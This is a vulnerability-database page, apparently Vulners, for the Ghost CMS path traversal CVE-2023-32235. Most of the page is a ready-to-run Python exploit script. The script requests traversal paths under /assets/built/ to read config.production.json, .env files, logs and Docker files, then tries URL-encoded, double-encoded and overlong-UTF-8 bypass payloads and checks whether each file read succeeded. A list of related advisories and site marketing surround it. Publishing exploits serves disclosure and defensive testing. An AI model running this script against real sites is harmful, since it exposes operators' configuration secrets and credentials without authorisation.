Lucene search
K

📄 Ghost CMS Path Traversal

🗓️ 12 Aug 2025 00:00:00Reported by IbrahimsqlType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 115 Views

Ghost before 5.42.1 suffers path traversal via /assets/built/ to read theme files.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Path Traversal in Ghost
9 Jul 202320:01
githubexploit
Circl
CVE-2023-32235
5 May 202312:24
circl
CNNVD
Ghost 路径遍历漏洞
5 May 202300:00
cnnvd
CNVD
Ghost Directory Traversal Vulnerability
11 May 202300:00
cnvd
CVE
CVE-2023-32235
5 May 202300:00
cve
Cvelist
CVE-2023-32235
5 May 202300:00
cvelist
Exploit DB
Ghost CMS 5.42.1 - Path Traversal
11 Aug 202500:00
exploitdb
Tenable Nessus
Ghost CMS 5.42.1 - Path Traversal (CVE-2023-32235)
28 Oct 202500:00
nessus
Tenable Nessus
Ghost CMS < 5.42.1 Path Traversal
6 May 202400:00
nessus
Github Security Blog
Path Traversal in Ghost
5 May 202306:30
github
Rows per page
#!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    """
    # Exploit Title: Ghost CMS 5.42.1 - Path Traversal
    # Date: 2023-06-15
    # Exploit Author:ibrahimsql (https://github.com/ibrahimsql)
    # Vendor Homepage: https://ghost.org
    # Software Link: https://github.com/TryGhost/Ghost
    # Version: < 5.42.1
    # Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur
    # CVE: CVE-2023-32235
    # Category: Web Application Security
    # CVSS Score: 7.5 (High)
    # Description:
    # Ghost CMS before version 5.42.1 contains a path traversal vulnerability that allows
    # remote attackers to read arbitrary files within the active theme's folder structure.
    # The vulnerability exists in the /assets/built/ endpoint which improperly handles
    # directory traversal sequences (../../) allowing unauthorized file access.
    # This can lead to disclosure of sensitive configuration files, environment variables,
    # and other critical application data.
    
    # Impact:
    # - Unauthorized file disclosure
    # - Potential exposure of configuration files
    # - Information gathering for further attacks
    # - Possible credential harvesting
    
    # Requirements: requests>=2.28.1
    """
    
    import requests
    import sys
    import urllib.parse
    from typing import Dict, List, Tuple, Optional
    
    class ExploitResult:
        def __init__(self):
            self.success = False
            self.payload = ""
            self.response = ""
            self.status_code = 0
            self.description = "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built/../..// directory traversal"
            self.severity = "High"
    
    class PathTraversalExploit:
        def __init__(self, target_url: str, verbose: bool = True):
            self.target_url = target_url.rstrip('/')
            self.verbose = verbose
            self.session = requests.Session()
            self.session.headers.update({
                'Accept': '*/*',
                'Cache-Control': 'no-cache',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
            
        def exploit(self) -> ExploitResult:
            result = ExploitResult()
            
            #  path traversal payloads targeting Ghost CMS specific files
            payloads = [
                {"path": "../../package.json", "description": "Main package.json with dependencies", "sensitive": True},
                {"path": "../../../package.json", "description": "Root package.json", "sensitive": True},
                {"path": "../../config.production.json", "description": "Production configuration", "sensitive": True},
                {"path": "../../config.development.json", "description": "Development configuration", "sensitive": True},
                {"path": "../../.env", "description": "Environment variables", "sensitive": True},
                {"path": "../../../.env", "description": "Root environment file", "sensitive": True},
                {"path": "../../content/settings/routes.yaml", "description": "Routes configuration", "sensitive": False},
                {"path": "../../content/logs/ghost.log", "description": "Ghost application logs", "sensitive": False},
                {"path": "../../README.md", "description": "Documentation file", "sensitive": False},
                {"path": "../../yarn.lock", "description": "Yarn lock file", "sensitive": False},
                {"path": "../../package-lock.json", "description": "NPM lock file", "sensitive": False},
                {"path": "../../../Dockerfile", "description": "Docker configuration", "sensitive": False},
                {"path": "../../../docker-compose.yml", "description": "Docker compose file", "sensitive": False}
            ]
            
            for payload in payloads:
                target_url = f"{self.target_url}/assets/built/{payload['path']}"
                
                if self.verbose:
                    print(f"[*] Testing path traversal: {payload['path']}")
                    
                try:
                    response = self.session.get(target_url, timeout=10)
                    
                    if response.status_code == 200 and len(response.text) > 0:
                        if self._detect_file_read_success(response.text, payload['path']):
                            result.success = True
                            result.payload = payload['path']
                            result.response = response.text
                            result.status_code = response.status_code
                            
                            if payload['sensitive']:
                                result.severity = "Critical"
                                
                            if self.verbose:
                                print(f"[+] Successfully exploited path traversal: {payload['path']}")
                                print(f"[+] File content preview: {response.text[:200]}")
                            return result
                            
                except requests.RequestException as e:
                    if self.verbose:
                        print(f"[-] Request failed for {payload['path']}: {e}")
                    continue
                    
            # If no direct file read, try alternative bypass techniques
            if not result.success:
                self._try_path_traversal_bypasses(result)
                
            return result
            
        def _try_path_traversal_bypasses(self, result: ExploitResult):
            """Try various bypass techniques for path traversal"""
            bypass_payloads = [
                "..%2f..%2fpackage.json",           # URL encoded
                "..%252f..%252fpackage.json",       # Double URL encoded
                "....//....//package.json",        # Double dot bypass
                "..\\\\..\\\\package.json",            # Windows style
                ".%2e/.%2e/package.json",           # Mixed encoding
                "..%c0%af..%c0%afpackage.json",     # UTF-8 overlong encoding
            ]
            
            for payload in bypass_payloads:
                target_url = f"{self.target_url}/assets/built/{payload}"
                
                try:
                    response = self.session.get(target_url, timeout=10)
                    
                    if response.status_code == 200 and self._detect_file_read_success(response.text, payload):
                        result.success = True
                        result.payload = payload
                        result.response = response.text
                        result.status_code = response.status_code
                        
                        if self.verbose:
                            print(f"[+] Path traversal successful using encoding bypass: {payload}")
                        break
                        
                except requests.RequestException:
                    continue
                    
        def _detect_file_read_success(self, body: str, payload: str) -> bool:
            """Check if the response indicates successful file read"""
            # Check for common file content indicators
            file_indicators = {
                "package.json": ['"name"', '"version"', '"dependencies"', '"scripts"'],
                ".env": ["DATABASE_URL", "NODE_ENV", "GHOST_", "="],
                "config": ['"database"', '"server"', '"url"', '"mail"'],
                "routes.yaml": ["routes:", "collections:", "taxonomies:"],
                "ghost.log": ["INFO", "ERROR", "WARN", "Ghost"],
                "README": ["#", "##", "Ghost", "installation"],
                "Dockerfile": ["FROM", "RUN", "COPY", "EXPOSE"],
                "docker-compose": ["version:", "services:", "ghost:"]
            }
            
            # Check specific file type indicators
            for file_type, indicators in file_indicators.items():
                if file_type.lower() in payload.lower():
                    for indicator in indicators:
                        if indicator in body:
                            return True
                            
            # Generic file content indicators
            generic_indicators = ["{", "}", "[", "]", ":", "=", "version", "name", "description"]
            
            count = sum(1 for indicator in generic_indicators if indicator in body)
            
            # If multiple generic indicators found, likely a valid file
            return count >= 3
    
    def main():
        if len(sys.argv) < 2:
            print("Usage: python3 CVE-2023-32235.py <target_url>")
            print("Example: python3 CVE-2023-32235.py http://target.com")
            return
            
        exploit = PathTraversalExploit(sys.argv[1], verbose=True)
        result = exploit.exploit()
        
        print("\n=== CVE-2023-32235 Path Traversal Exploit Results ===")
        print(f"Target: {exploit.target_url}")
        print(f"Success: {result.success}")
        print(f"Severity: {result.severity}")
        print(f"Description: {result.description}")
        
        if result.success:
            print(f"Payload: {result.payload}")
            print(f"Status Code: {result.status_code}")
            print(f"Response Preview: {result.response[:500]}")
        else:
            print("Exploit failed - target may not be vulnerable")
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Aug 2025 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.17.5
EPSS0.94094
SSVC
115